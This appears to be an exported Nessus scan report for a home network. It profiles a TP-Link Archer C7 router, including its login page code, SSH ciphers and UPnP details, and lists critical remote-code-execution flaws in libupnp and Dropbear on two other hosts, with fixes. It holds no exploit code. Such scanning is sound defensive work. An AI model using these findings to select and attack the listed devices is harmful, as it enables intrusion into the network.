Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:08 EST
Scan duration : 253 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.2		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.2		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.2		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: Router Webserver
  Connection: close
  Content-Type: text/html
  WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router Archer C7"
  
Response Body :

<META http-equiv=Content-Type content="text/html; charset=utf-8">
<HTML>
<HEAD><TITLE>Archer C7</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<SCRIPT language="javascript" type="text/javascript"><!--
//--></SCRIPT>
<SCRIPT language="javascript" type="text/javascript">
var httpAutErrorArray = new Array(
3, 1, "http://192.168.0.2", 0,0 );
</SCRIPT>


<SCRIPT language="javascript" type="text/javascript">

if(window.parent != window)

{

	document.cookie = "Authorization=;path=/";	

	window.parent.location.href = httpAutErrorArray[2];

}

</SCRIPT>

<script type="text/javascript" src="../login/encrypt.js" /></script>
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<script type="text/javascript">

function CheckUserPswChars(szValue)

{

	var reg = /^[\x21-\x7e]+$/;	

	if((szValue.length > 0) && reg.test(szValue))

	{

		return true;

	}	

	return false;

}



function CheckUserPswInvalid()

{

	var userName = $("userName");

	var pcPassword = $("pcPassword");	

	

	if(!CheckUserPswChars(userName.value))

	{

		userName.select();

		userName.focus();

		return false;	

	}

	

	if(!CheckUserPswChars(pcPassword.value))

	{

		pcPassword.select();

		pcPassword.focus();

		return false;	

	}

	

	return true;

}



function ResetUserPsw(elementName)

{

	$(elementName).value = "";

	$(elementName).focus();

}



function PCWin(event)

{	

	if (event.keyCode == 13)

	{

		PCSubWin();

	}

}



function PCSubWin()

{

	if((httpAutErrorArray[0] == 2) || (httpAutErrorArray[0] == 3))

	{

		if(true == CheckUserPswInvalid())

		{

			var username = $("userName").value;				

			var password = $("pcPassword").value;	

			if(httpAutErrorArray[1] == 1)

			{

				password = hex_md5($("pcPassword").value);	

			}			

			var auth = "Basic "+ Base64Encoding(username + ":" + password);

			document.cookie = "Authorization="+escape(auth)+";path=/";

			location.href ="../userRpm/LoginRpm.htm?Save=Save";

			return true;

		}

		else

		{

			$("note").innerHTML = "NOTE:";

			$("tip").innerHTML = "Username and password can contain between 1 - 15 characters and may not include spaces.";	

		}

	}

	return false;

}



function w(str)

{

	document.write(str);

}



function $(id)

{

	return document.getElementById(id);

}



function setElementStyle(bShow)

{

	var unLi = $("unLi");

	var pwLi = $("pwLi");

	var userName = $("userName");

	var pcPassword = $("pcPassword");

	var loginBtn = $("loginBtn");	

	

	if(bShow)

	{

		$("userName").style.display = "";

		$("pcPassword").style.display = "";		

		

		pcPassword.onfocus = function(){

			pwLi.style.background = "url(../login/loginPwdH.png)";

		};

		pcPassword.onblur = function(){

			pwLi.style.background = "url(../login/loginPwd.png)";

		};

		

		userName.onfocus = function(){

			unLi.style.background = "url(../login/loginUserH.png)";

		};

		userName.onblur = function(){

			unLi.style.background = "url(../login/loginUser.png)";

		};

		

		loginBtn.onmouseover = function(){

			loginBtn.style.background = "url(../login/loginBtnH.png)";

		};

		loginBtn.onmouseout = function(){

			loginBtn.style.background = "url(../login/loginBtn.png)";

		};

		

		$("userName").focus();

	}

	else

	{

		$("userName").style.display = "none";

		$("pcPassword").style.display = "none";		

	}

}



function pageLoad()

{

	var count = 14, tip = $("tip"), note = $("note");	

	var min = 0, sec = 0;

	document.cookie = "Authorization=;path=/";	

		

	if(window.parent != window)

	{

		window.parent.location.reload();

	}

	var ErrNum = httpAutErrorArray[0]; 

	switch(ErrNum)

	{

		case 0:

			note.innerHTML = "NOTE:";

			tip.innerHTML = "The router allows only one administrator to login at the same time, please try again later.";	

			setElementStyle(false);

		break;

		case 1:	

			note.innerHTML = "NOTE:";

			tip.innerHTML = "You have exceeded ten attempts, please try again after two hours.";	

			setElementStyle(false);

		break;

		case 2:

			note.innerHTML = "NOTE:";

			tip.innerHTML = "The username or password is incorrect, please input again.";

			setElementStyle(true);

		break;

		case 3:

		default:

			tip.innerHTML = "";

			note.innerHTML = "";

			setElementStyle(true);

		break;

	}

}

</script>

</head>

<body onkeypress="PCWin(event)" onLoad="pageLoad()">

	<div class="topLogo">

		<table cellpadding=0 cellspacing=0 width="100%">

			<tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%">

			<tr><td><a href="http://www.tp-link.com" target="blank" ><img src="../login/top1_1.jpg" border="0" style="cursor:pointer"></a></td>

				<td width="490" align=right background="../login/top1_2.jpg" style="padding-top:23">

					<table>

						<tr><td class="style1">AC1750 Wireless Dual Band Gigabit Router</td></tr>

						<tr><td class="style2"> Model No. Archer C7 </td></tr>

					</table>

				</td>

			</tr>

			</table></td></tr>

		<tr><td><IMG height=3 src="../login/top2.jpg" width="100%" align=top border=0></td></tr>

		</table>

	</div>

	<div class="loginBox">	

		<div class="noteDiv">

			<span id="note"></span>

			<span id="tip"></span>

		</div>

		<div class="panelThre" align="center">

			<div align="center" class="picDiv" align="center">

				<ul>

					<li id="unLi" class="unLi"><input class="text" id="userName" type="text" maxlength="15" /></li>

					<li class="blank"></li>

					<li id="pwLi" class="pwLi"><input class="text" id="pcPassword" type="password" maxlength="15"/></li>

				</ul>

				<label id="loginBtn" class="loginBtn" onClick="PCSubWin()"/></label>

				<div>

				<label id="copyright">Copyright &copy; 2015 TP-LINK Technologies Co., Ltd. All rights reserved. </label>			

				</div>

			</div>

		</div>

	</div>

</body>

</html>										None								1/30/07		11/22/19

		25220						None		192.168.0.2		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.2		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.2:49153/wps_device.xml
    http://192.168.0.2:49152/wps_device.xml

And advertises these unique service names :

    uuid:12345678-9abc-def0-1234-ec086bf938c1::upnp:rootdevice
    uuid:12345678-9abc-def0-1234-ec086bf938c1::urn:schemas-wifialliance-org:device:WFADevice:1
    uuid:12345678-9abc-def0-1234-ec086bf938c1::urn:schemas-wifialliance-org:service:WFAWLANConfig:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.2		tcp		49152		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.2:49152/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: Wireless Router Archer C7
manufacturer: TP-LINK
manufacturerURL: http://www.tp-link.com
modelName: Archer C7
modelDescription: Archer C7
modelName: Archer C7
modelNumber: 2.0
modelURL: http://http://www.tp-link.com:5904081
serialNumber: 1.0
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35712						None		192.168.0.2		tcp		49153		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.2:49153/wps_device.xml :

deviceType: urn:schemas-wifialliance-org:device:WFADevice:1
friendlyName: Wireless Router Archer C7
manufacturer: TP-LINK
manufacturerURL: http://www.tp-link.com
modelName: Archer C7
modelDescription: Wireless N Router
modelName: Archer C7
modelNumber: 2.0
modelURL: http://192.168.0.2:80
serialNumber: 1.0
ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1
	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1
	controlURL: wps_control
	eventSubURL: wps_event
	SCPDURL: wps_scpd.xml
										None								2/19/09		6/12/20

		35716						None		192.168.0.2		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

EC:08:6B:F9:38:C1 : TP-LINK TECHNOLOGIES CO.,LTD.
										None								2/19/09		5/13/20

		64394		CVE-2012-5960		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		54615						None		192.168.0.2		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : embedded
Confidence level : 100
										None								5/23/11		5/23/11

		66334						None		192.168.0.2		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Dropbear SSH Server < 2016.72 Multiple Vulnerabilities (93650) ]

+ Action to take : Upgrade to Dropbear SSH version 2016.74 or later.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).



										None								7/8/13		10/16/20

		64394		CVE-2012-5961		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5962		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		70657						None		192.168.0.2		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1

The server supports the following options for server_host_key_algorithms : 

  ssh-dss
  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr
  twofish-cbc
  twofish128-cbc
  twofish256-cbc

The server supports the following options for encryption_algorithms_server_to_client : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr
  twofish-cbc
  twofish128-cbc
  twofish256-cbc

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-md5
  hmac-sha1
  hmac-sha1-96

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-md5
  hmac-sha1
  hmac-sha1-96

The server supports the following options for compression_algorithms_client_to_server : 

  none

The server supports the following options for compression_algorithms_server_to_client : 

  none
										None								10/28/13		8/28/17

		70658		CVE-2008-5161		2.6		Low		192.168.0.2		tcp		22		SSH Server CBC Mode Ciphers Enabled		The SSH server is configured to use Cipher Block Chaining.		The SSH server is configured to support Cipher Block Chaining (CBC)
encryption.  This may allow an attacker to recover the plaintext message
from the ciphertext. 

Note that this plugin only checks for the options of the SSH server and
does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable CBC mode
cipher encryption, and enable CTR or GCM cipher mode encryption.				
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
  twofish-cbc
  twofish128-cbc
  twofish256-cbc

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
  twofish-cbc
  twofish128-cbc
  twofish256-cbc
						1.9				Low		32319		CERT:958563;CWE:200				10/28/13		7/30/18

		71049				2.6		Low		192.168.0.2		tcp		22		SSH Weak MAC Algorithms Enabled		The remote SSH server is configured to allow MD5 and 96-bit MAC
algorithms.		The remote SSH server is configured to allow either MD5 or 96-bit MAC
algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server,
and it does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable MD5 and
96-bit MAC algorithms.				
The following client-to-server Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
  hmac-sha1-96

The following server-to-client Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
  hmac-sha1-96
										Low								11/22/13		12/14/16

		86420						None		192.168.0.2		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - EC:08:6B:F9:38:C1
										None								10/16/15		5/13/20

		64394		CVE-2012-5963		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5964		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5965		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		93650		CVE-2016-7406		10		Critical		192.168.0.28		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		110723						None		192.168.0.2		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
